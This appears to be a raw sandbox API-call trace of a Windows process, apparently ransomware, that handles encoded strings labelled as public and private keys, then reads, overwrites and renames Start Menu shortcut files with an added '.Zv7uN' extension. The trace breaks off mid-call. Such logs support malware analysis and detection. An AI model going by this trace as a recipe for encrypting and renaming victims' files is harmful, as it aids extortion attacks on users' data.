lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.481] GetCurrentThreadId () returned 0xa30 [0131.481] GetCurrentThreadId () returned 0xa30 [0131.481] GetCurrentThreadId () returned 0xa30 [0131.481] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.481] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0131.481] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.481] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x60b [0131.482] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.482] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x60b, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f6a0*=0x60b, lpOverlapped=0x0) returned 1 [0131.485] CloseHandle (hObject=0x1ec) returned 1 [0131.485] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.487] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x60b, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f6ac*=0x60b, lpOverlapped=0x0) returned 1 [0131.490] CloseHandle (hObject=0x1ec) returned 1 [0131.490] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk.zv7un")) returned 1 [0131.491] GetCurrentThreadId () returned 0xa30 [0131.491] GetCurrentThreadId () returned 0xa30 [0131.491] GetCurrentThreadId () returned 0xa30 [0131.491] GetCurrentThreadId () returned 0xa30 [0131.491] GetCurrentThreadId () returned 0xa30 [0131.491] GetCurrentThreadId () returned 0xa30 [0131.491] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 1 [0131.491] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0131.492] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0131.492] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de)) returned 1 [0131.492] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk")) returned 0x20 [0131.492] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk", dwFileAttributes=0x80) returned 1 [0131.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.495] GetCurrentThreadId () returned 0xa30 [0131.495] GetCurrentThreadId () returned 0xa30 [0131.495] GetCurrentThreadId () returned 0xa30 [0131.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.496] GetCurrentThreadId () returned 0xa30 [0131.496] GetCurrentThreadId () returned 0xa30 [0131.496] GetCurrentThreadId () returned 0xa30 [0131.497] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.497] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0131.497] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.497] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, 